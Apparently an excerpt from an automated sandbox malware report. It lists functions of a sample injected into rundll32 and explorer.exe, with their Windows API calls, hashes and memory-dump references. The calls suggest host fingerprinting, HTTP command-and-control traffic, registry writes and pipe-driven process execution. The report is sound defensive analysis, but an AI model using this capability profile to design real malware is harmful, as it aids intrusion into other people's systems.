Instruction ID: 66ae8bb1312c9d8c46a63d479f1b3c592a2ca9711104408c41da62ff093ea320
Opcode Fuzzy Hash: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction Fuzzy Hash: F5F08170618B408BE744DF2884C963A77E1FB98755F24492EE88987361CB319842CA43

Function 000002921300D31C Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000003.1799236503.0000029212FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000029212FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_29212fd0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction ID: 8566575effe11dcfca5e96efbe1ad3fc805632cf9930f65de432e3d7c2834eb8
Opcode Fuzzy Hash: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction Fuzzy Hash: 0BF05470A24F448BDB08AF2C884A63977D2F7A8745F54452EA448D7361DB35E5468B43

Function 00000292116A2050 Relevance: 22.8, APIs: 15, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000292116A1340: SetLastError.KERNEL32 ref: 00000292116A1364

SetLastError.KERNEL32 ref: 00000292116A20C4

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d975507dabfc9bcff4ce07bface502bc42e706bf54c750510e23b7039734968
Instruction ID: ccb7948a99767b49ac44a32642b4dae98553a7bf8f95190c0377a9c11e257a43
Opcode Fuzzy Hash: 4d975507dabfc9bcff4ce07bface502bc42e706bf54c750510e23b7039734968
Instruction Fuzzy Hash: 78F1DB76259BE4D6E7608B15F49475EB7A0F7C8B80F105015EB8E83BAADF79C498CB00

Function 00007DF4F02B0000 Relevance: 6.2, APIs: 4, Instructions: 179registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE ref: 00007DF4F02B0040
RegQueryValueExW.KERNELBASE ref: 00007DF4F02B008F
RegOpenKeyExW.KERNELBASE ref: 00007DF4F02B0112
RegSetValueExW.KERNELBASE ref: 00007DF4F02B016B

Memory Dump Source

Source File: 00000012.00000003.1843352576.00007DF4F02B0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4F02B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_7df4f02b0000_rundll32.jbxd

Similarity

API ID: OpenValue$Query
String ID:
API String ID: 3881042660-0
Opcode ID: 626bf157ab92892a21200f7f99e5a6ae81b2c8b077ae05ca6636b539537add79
Instruction ID: eb12e6fe3ee76e0205f349894133a15093fe0e107e50ae6fce22d3ab1681291a
Opcode Fuzzy Hash: 626bf157ab92892a21200f7f99e5a6ae81b2c8b077ae05ca6636b539537add79
Instruction Fuzzy Hash: 3E512F3121894C8FDB95EB1CCC84BE933E1FBE9324F104626A45EC32A4DE75EA948B40

Function 00000292116A15E0 Relevance: 3.1, APIs: 2, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32 ref: 00000292116A167C

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 73d186ae7e7a30a1d001e304d0e7452e82c9afbcf55bcb3a2e017d0d50acf0a3
Instruction ID: 55a2f69ce5bba9362c10b9a3f5ef62a5af1b519a417f449ae2921efab71fa865
Opcode Fuzzy Hash: 73d186ae7e7a30a1d001e304d0e7452e82c9afbcf55bcb3a2e017d0d50acf0a3
Instruction Fuzzy Hash: 0D51EA76218794DBEB60CF1AE08471ABBA1F3C8B84F151015EA8DC77A5DB79D994CF00

Function 00000292116A1380 Relevance: 2.6, APIs: 2, Instructions: 119
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00000292116A1445
VirtualAlloc.KERNEL32 ref: 00000292116A14F4

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 816fc88231aa2467bf2252115963d1d14762f6c5c40f282537df11a36abcc1ab
Instruction ID: e728dd8864aa0518940b5c4f19db60fe91e913cb957f55d61ff212cff7ca0b0e
Opcode Fuzzy Hash: 816fc88231aa2467bf2252115963d1d14762f6c5c40f282537df11a36abcc1ab
Instruction Fuzzy Hash: 1451E876618B84C6CB60CB1AF48461AB7A0F7C8BD8F145115EE8E83B6ADB39C594CF00

Function 000000026E7A14C0 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 000000026E7A14D5

Memory Dump Source

Source File: 00000012.00000002.2937147216.000000026E7A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 000000026E7A0000, based on PE: true

Associated: 00000012.00000002.2937105023.000000026E7A0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.2937147216.000000026E7E5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_26e7a0000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0da5a77b1d795fb6707756be2b86fd123b89f025793bdf999121e2e314aa4dac
Instruction ID: 7189fadd19c05f0b16517cb3fcd21573d102caadb62aefbd625eb7048705db04
Opcode Fuzzy Hash: 0da5a77b1d795fb6707756be2b86fd123b89f025793bdf999121e2e314aa4dac
Instruction Fuzzy Hash: 60B0923CA111A8C7FA2727AAA848328EA20BB4E741F1A9469C60A27388CA2595478741

Function 00000292116A11C0 Relevance: 1.3, APIs: 1, Instructions: 12
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00000292116A11DC

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a26db5a74adc6119d098d68705d28c1916c0da013186a83d7531f391c9707544
Instruction ID: 8262a10ab272d9c0a90b37f90d44940d5c746677a48ccca2f8ca7a6157593f64
Opcode Fuzzy Hash: a26db5a74adc6119d098d68705d28c1916c0da013186a83d7531f391c9707544
Instruction Fuzzy Hash: 0DD05EB1B04680C3C7248B20E40060A7B60F384744F504018DA8C43B54CA3EC215CF00

Non-executed Functions

Function 000000026E7A1730 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000000026E7A184B

Strings

Address %p has no image-section, xrefs: 000000026E7A17A2, 000000026E7A18F5
VirtualQuery failed for %d bytes at address %p, xrefs: 000000026E7A18E1
Mingw-w64 runtime failure:, xrefs: 000000026E7A1767
VirtualProtect failed with code 0x%x, xrefs: 000000026E7A18BE

Memory Dump Source

Source File: 00000012.00000002.2937147216.000000026E7A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 000000026E7A0000, based on PE: true

Associated: 00000012.00000002.2937105023.000000026E7A0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.2937147216.000000026E7E5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_26e7a0000_rundll32.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 5659cc6253d3337fcbf5b9313850b0995babe0cbae9eea9f4b305dcd2399b235
Instruction ID: 298b71a9dd78cf2edb974784e477093bc34c92c347835cd00dc09d550e05ad20
Opcode Fuzzy Hash: 5659cc6253d3337fcbf5b9313850b0995babe0cbae9eea9f4b305dcd2399b235
Instruction Fuzzy Hash: 6541C2BA701B4482FF12EB15E8487A9F7A0F785BD0F464164DA4D0B7A5EB3AC949C780

Function 00000292116A26B0 Relevance: 6.4, APIs: 5, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 00000292116A2707
SetLastError.KERNEL32 ref: 00000292116A2746

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 50d4aa64397910f34370dcdd3f25db7b3cd1b44d2d627c561aa8e3d7ca6c4d4e
Instruction ID: b08b89aab51c6cc187fdb6afd6013d7ca7a7712bf619ad307f38713a2bca3a3b
Opcode Fuzzy Hash: 50d4aa64397910f34370dcdd3f25db7b3cd1b44d2d627c561aa8e3d7ca6c4d4e
Instruction Fuzzy Hash: C1511136658B94D6DB64CB19F49432AB7A0F7C8B84F100525FB8E877A6DB3DC498CB04

Function 000000026E7A1010 Relevance: 6.1, APIs: 4, Instructions: 107
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000000026E7A1055
_amsg_exit.MSVCRT ref: 000000026E7A107F

Memory Dump Source

Source File: 00000012.00000002.2937147216.000000026E7A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 000000026E7A0000, based on PE: true

Associated: 00000012.00000002.2937105023.000000026E7A0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.2937147216.000000026E7E5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_26e7a0000_rundll32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: dfb423db6d7f2f99e71afb77657b4e79f394086b29d41546b4ffe580ebe9380d
Instruction ID: 1519187e1003702a2413edca5e237f583de2b2ee7340e728da19977fef088c9a
Opcode Fuzzy Hash: dfb423db6d7f2f99e71afb77657b4e79f394086b29d41546b4ffe580ebe9380d
Instruction Fuzzy Hash: BF418B7D30528485FF63AB1EEC5876AF3A5A744BC4F164025DE088B795EE2BCC899381

Function 00000292116A1C80 Relevance: 5.2, APIs: 4, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32 ref: 00000292116A1D0E
SetLastError.KERNEL32 ref: 00000292116A1D6A

Memory Dump Source

Source File: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000292116A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_292116a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 5e3dd03f4e36ac629c9e35720315601d05ef0c3755c38ff15dc0a5ec62299b24
Instruction ID: 061f87bd63ff4c676daad6399f64fffe1f169c943fb037450979fea58f555f91
Opcode Fuzzy Hash: 5e3dd03f4e36ac629c9e35720315601d05ef0c3755c38ff15dc0a5ec62299b24
Instruction Fuzzy Hash: 67919936619B84C6DB60CB0AE49435AB7A4F7C8BD4F504116EB8E87BA9DF3DC494CB00

Analysis Process: explorer.exePID: 2580, Parent PID: 7320COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.6%
Total number of Nodes:	764
Total number of Limit Nodes:	12

Executed Functions

Function 013A6984 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

GetAdaptersInfo.IPHLPAPI ref: 013A69D0
GetAdaptersInfo.IPHLPAPI ref: 013A6A07
wsprintfA.USER32 ref: 013A6A50
wsprintfA.USER32 ref: 013A6B3B
wsprintfA.USER32 ref: 013A6B9F

Strings

o, xrefs: 013A69E2

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: wsprintf$AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2074107575-252678980
Opcode ID: bb5e8bd85d81c0865c55c292e8f5dc328cf4844b27724cf06f1d0ac9af01af05
Instruction ID: ea748272eb98de524d87c14316dcdf98ff2926b8f84bfa7150cf5e8e9cd05992
Opcode Fuzzy Hash: bb5e8bd85d81c0865c55c292e8f5dc328cf4844b27724cf06f1d0ac9af01af05
Instruction Fuzzy Hash: 9CA1BC76209B84C6DB60CB19F49439AB7A4F788798F845525EACE83B68EF3CC544CB40

Function 013A5904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAdaptersInfo.IPHLPAPI ref: 013A592C

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

GetAdaptersInfo.IPHLPAPI ref: 013A5957

Strings

o, xrefs: 013A5936

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: AdaptersInfo$AllocateMemoryVirtual
String ID: o
API String ID: 2718687846-252678980
Opcode ID: 4e81b31fdadc980245d5dae740b1421522dfc600825620bc8eff45fa53ea0adf
Instruction ID: 533e77ec1c8accba92ad9e0c052393bc57375adab054244ab145f9fc8551c630
Opcode Fuzzy Hash: 4e81b31fdadc980245d5dae740b1421522dfc600825620bc8eff45fa53ea0adf
Instruction Fuzzy Hash: B901B372508B04C6DB309B15E45435ABBA0F7C97ACF840629E6CD4BB68DB3CC684CF44

Function 013A7318 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 013A7340
wsprintfA.USER32 ref: 013A735D

Strings

jones, xrefs: 013A7356, 013A7363

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: NameUserwsprintf
String ID: jones
API String ID: 54179028-3844744938
Opcode ID: a005ed5bfa22ce0381172d728ca994239463a66100743b26af83be9f7c987c3c
Instruction ID: 1d3cb8474f7d7bb0cdcbb5399216d199b34e0810e65074ff777ec01d6188696c
Opcode Fuzzy Hash: a005ed5bfa22ce0381172d728ca994239463a66100743b26af83be9f7c987c3c
Instruction Fuzzy Hash: 56F07D71224A8792EB60DF54E8847E97721FF90748FC05121A1CE56DA8DF7DC70ADB41

Function 013A8BA8 Relevance: 4.6, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: 389ec66785aca711388ae230cdc2665dda1444623b8b65d447f8ab9259c927d9
Instruction ID: 1217d6429fcfefb09af751b190a6887a520a9315d3aa6aee4e0f609521ee502c
Opcode Fuzzy Hash: 389ec66785aca711388ae230cdc2665dda1444623b8b65d447f8ab9259c927d9
Instruction Fuzzy Hash: 15312372219A85D6DB20DB18F48835AB764F7D4369FD00765E6EE86AA8DF3CC544CF00

Function 013A958C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 013A95C2

Strings

@, xrefs: 013A959E

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: @
API String ID: 2167126740-2766056989
Opcode ID: d9a223498249f4c3c090322a89b85a3a438a55c178209e3767addec7786668fc
Instruction ID: f9075bad76e465ac2dc8dca32a5e2664ba5d71de79b1237c57edb27d54cc1c13
Opcode Fuzzy Hash: d9a223498249f4c3c090322a89b85a3a438a55c178209e3767addec7786668fc
Instruction Fuzzy Hash: FEE0C9B2228A8582D750DF69E45474BB761FB857B8F805305FAAA16BE8CB7CC108CF00

Function 013A4004 Relevance: 1.6, APIs: 1, Instructions: 53
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 013A4065

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 97b87ae50f1853fbe220b74755e22490f7afaba21d5baf80783810c8043fd314
Instruction ID: c2c454f03b9dd31565520ac6eec40b5094b6add9a5b0fd0fa7f16c609361e6cf
Opcode Fuzzy Hash: 97b87ae50f1853fbe220b74755e22490f7afaba21d5baf80783810c8043fd314
Instruction Fuzzy Hash: 37112C3232868587D760CA19E4547AAA7E5F788788F844125EB8D83B58EF7DC615CF00

Function 013A6814 Relevance: 1.5, APIs: 1, Instructions: 13
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 013A6845

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: 9dbb0ae3b12abb029211b0ba8255b4432c8abfcc7eb55f432a9f85dcaf06cc50
Instruction ID: 823fea68318387afb3b0bc04b153563cc6861f855493437591032a2f161517c1
Opcode Fuzzy Hash: 9dbb0ae3b12abb029211b0ba8255b4432c8abfcc7eb55f432a9f85dcaf06cc50
Instruction Fuzzy Hash: 82E0EC72908A8182D7209B64E4083897B74F385778F944305EBF802AE8CF7CC289CB01

Function 013AA5CC Relevance: 1.5, APIs: 1, Instructions: 11
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDelayExecution.NTDLL ref: 013AA5EE

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 8d417d5b3bbdd0104a031ce28197241340a162a37eadbb870a06c08a322a4f93
Instruction ID: 9b5820cd9715459cf060cfc4a1c409ede275838028893095ce93a43c36e22009
Opcode Fuzzy Hash: 8d417d5b3bbdd0104a031ce28197241340a162a37eadbb870a06c08a322a4f93
Instruction Fuzzy Hash: E6D0C77270868087DB145B14F44524A7760FB95304FD04519E6CD45B54DA3CC225CF04

Function 013A40DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpOpenRequestA.WININET ref: 013A4214
HttpOpenRequestA.WININET ref: 013A4294
InternetSetOptionA.WININET ref: 013A42D3
HttpSendRequestA.WININET ref: 013A431F
HttpSendRequestA.WININET ref: 013A4340

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 013A4168, 013A42F4, 013A4313

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: HttpRequest$OpenSend$InternetOption
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 664753792-457374458
Opcode ID: bfe0fd7b3358009a2497291c1585463bdadc306482fc5a601edf221433aee303
Instruction ID: 76fcc17943eddf8bdd7cf0c794a06a4a0b9ef7f2b950c9780acd7d82b5b8b56d
Opcode Fuzzy Hash: bfe0fd7b3358009a2497291c1585463bdadc306482fc5a601edf221433aee303
Instruction Fuzzy Hash: C761E372208B8486E760CB54F49439AB7A4F799788F904126EBCA43F68EF7DC148CB40

Function 013A30B0 Relevance: 7.6, APIs: 5, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323e24aefe1eb8265c58f2d108468d8cb0d1559239c2e860e07bd96b95da3856
Instruction ID: a2af41deb9c0b18a5c58d1e661664faa1839c2cacfc88b700f3ff76f3e6dc75c
Opcode Fuzzy Hash: 323e24aefe1eb8265c58f2d108468d8cb0d1559239c2e860e07bd96b95da3856
Instruction Fuzzy Hash: 47312531209A8586EB30AB7DE84436976A4FF5637CFD00715E9EA86AE4DF38C508C716

Function 013A7134 Relevance: 6.0, APIs: 4, Instructions: 28
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 013A714A
Process32FirstW.KERNEL32 ref: 013A7176
Process32NextW.KERNEL32 ref: 013A7194
CloseHandle.KERNEL32 ref: 013A71A3

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: cdc7aee9f013cd292d3a54cae21fe1e19c0375bd4ba8170c7a395ade045eb3ec
Instruction ID: bcf7207581e3357de70201907a33724ba48ec5f9657bb991fb30e21c22b4d381
Opcode Fuzzy Hash: cdc7aee9f013cd292d3a54cae21fe1e19c0375bd4ba8170c7a395ade045eb3ec
Instruction Fuzzy Hash: BD01CD7261864087E770DB15E89875AB771FBC8758F841215E6CE86A68DF3CC645CB00

Function 013A720C Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstVolumeW.KERNEL32 ref: 013A7246
GetVolumeInformationW.KERNEL32 ref: 013A729A
FindVolumeClose.KERNEL32 ref: 013A72A9

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Volume$Find$CloseFirstInformation
String ID:
API String ID: 586543143-0
Opcode ID: 768f91987acb0c695470ea88eccb12ca23a753f039ee139f7be31bd804ab313f
Instruction ID: f374b1de3115e30bf83c24acba3033862cb27b750d7eb559b4c45fefee6f98a5
Opcode Fuzzy Hash: 768f91987acb0c695470ea88eccb12ca23a753f039ee139f7be31bd804ab313f
Instruction Fuzzy Hash: 8A110676218A4082D720DB54E48839AB7A5F7D5364FD00226E6EE82EA8DF7DC649CB00

Function 013A52FC Relevance: 1.5, APIs: 1, Instructions: 17
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 013A5320

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5802a47e0c15a1cd7a8c8b1221fd48acd5efe2fce56945e0ed08bc57f422bd73
Instruction ID: c889c484a929c8dbd4eb707b39998baa562ea8bf2b2908d6b1b3133450d8a442
Opcode Fuzzy Hash: 5802a47e0c15a1cd7a8c8b1221fd48acd5efe2fce56945e0ed08bc57f422bd73
Instruction Fuzzy Hash: A4E04F32618B80C5D364DB10F44438A7BA0F7D4398FC45015E68B42F64CF7CC145CB00

Non-executed Functions

Function 013A1030 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 206
pipefileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNEL32 ref: 013A10FF
SetHandleInformation.KERNEL32 ref: 013A1119
CreatePipe.KERNEL32 ref: 013A113A
SetHandleInformation.KERNEL32 ref: 013A1154
CreatePipe.KERNEL32 ref: 013A1175
SetHandleInformation.KERNEL32 ref: 013A118F
CreateProcessW.KERNEL32 ref: 013A1251

Part of subcall function 013A958C: NtAllocateVirtualMemory.NTDLL ref: 013A95C2

PeekNamedPipe.KERNEL32 ref: 013A1300
ReadFile.KERNEL32 ref: 013A135C
PeekNamedPipe.KERNEL32 ref: 013A13B0
ReadFile.KERNEL32 ref: 013A140C
GetExitCodeProcess.KERNEL32 ref: 013A1445
TerminateProcess.KERNEL32 ref: 013A1476
CloseHandle.KERNEL32 ref: 013A1484

Part of subcall function 013AA5CC: NtDelayExecution.NTDLL ref: 013AA5EE

CloseHandle.KERNEL32 ref: 013A1492
CloseHandle.KERNEL32 ref: 013A14A0
CloseHandle.KERNEL32 ref: 013A14AE

Part of subcall function 013A6814: NtFreeVirtualMemory.NTDLL ref: 013A6845

Strings

h, xrefs: 013A1195

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Pipe$CloseCreate$InformationProcess$FileMemoryNamedPeekReadVirtual$AllocateCodeDelayExecutionExitFreeTerminate
String ID: h
API String ID: 30365702-2439710439
Opcode ID: c7d07e09b63113d12c3960b54df5b5ce4c9d8a25339ef27ee453aadfe6a9e22f
Instruction ID: b2a205a135566a76f1c9fb242d3cefa5fe7b058bcd81fba88a3f38a8dc9bfe91
Opcode Fuzzy Hash: c7d07e09b63113d12c3960b54df5b5ce4c9d8a25339ef27ee453aadfe6a9e22f
Instruction Fuzzy Hash: 86C1B036208BC08AE760DF69E49479AB7A1F7C4748F804115EAC987E68DFBDC548CF40

Function 013A6464 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 31nativefileCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 013A64AA
NtOpenFile.NTDLL ref: 013A64DE
NtClose.NTDLL ref: 013A64F8

Strings

@, xrefs: 013A648A
0, xrefs: 013A6495
, xrefs: 013A64BA

Memory Dump Source

Source File: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13a0000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFileInitOpenStringUnicode
String ID: $0$@
API String ID: 3719522541-2347541974
Opcode ID: 605d7dc3094dec6d153950563200a73cee3e8371e45e97b2015d5a91e13fe6ac
Instruction ID: 9a6540a680549076f5eeab9b36a38146a1e2c7f78651d5335607a87bb46022ab
Opcode Fuzzy Hash: 605d7dc3094dec6d153950563200a73cee3e8371e45e97b2015d5a91e13fe6ac
Instruction Fuzzy Hash: 4B0108B2119A8186EB10DF14E45439BBB65F7D5798F900025E2CA42A78DB7DC689CF41

Function 013A650C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43nativefileCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 013A6567

Part of subcall function 013A641C: GetFileAttributesW.KERNEL32 ref: 013A6430

NtCreateFile.NTDLL ref: 013A65E6
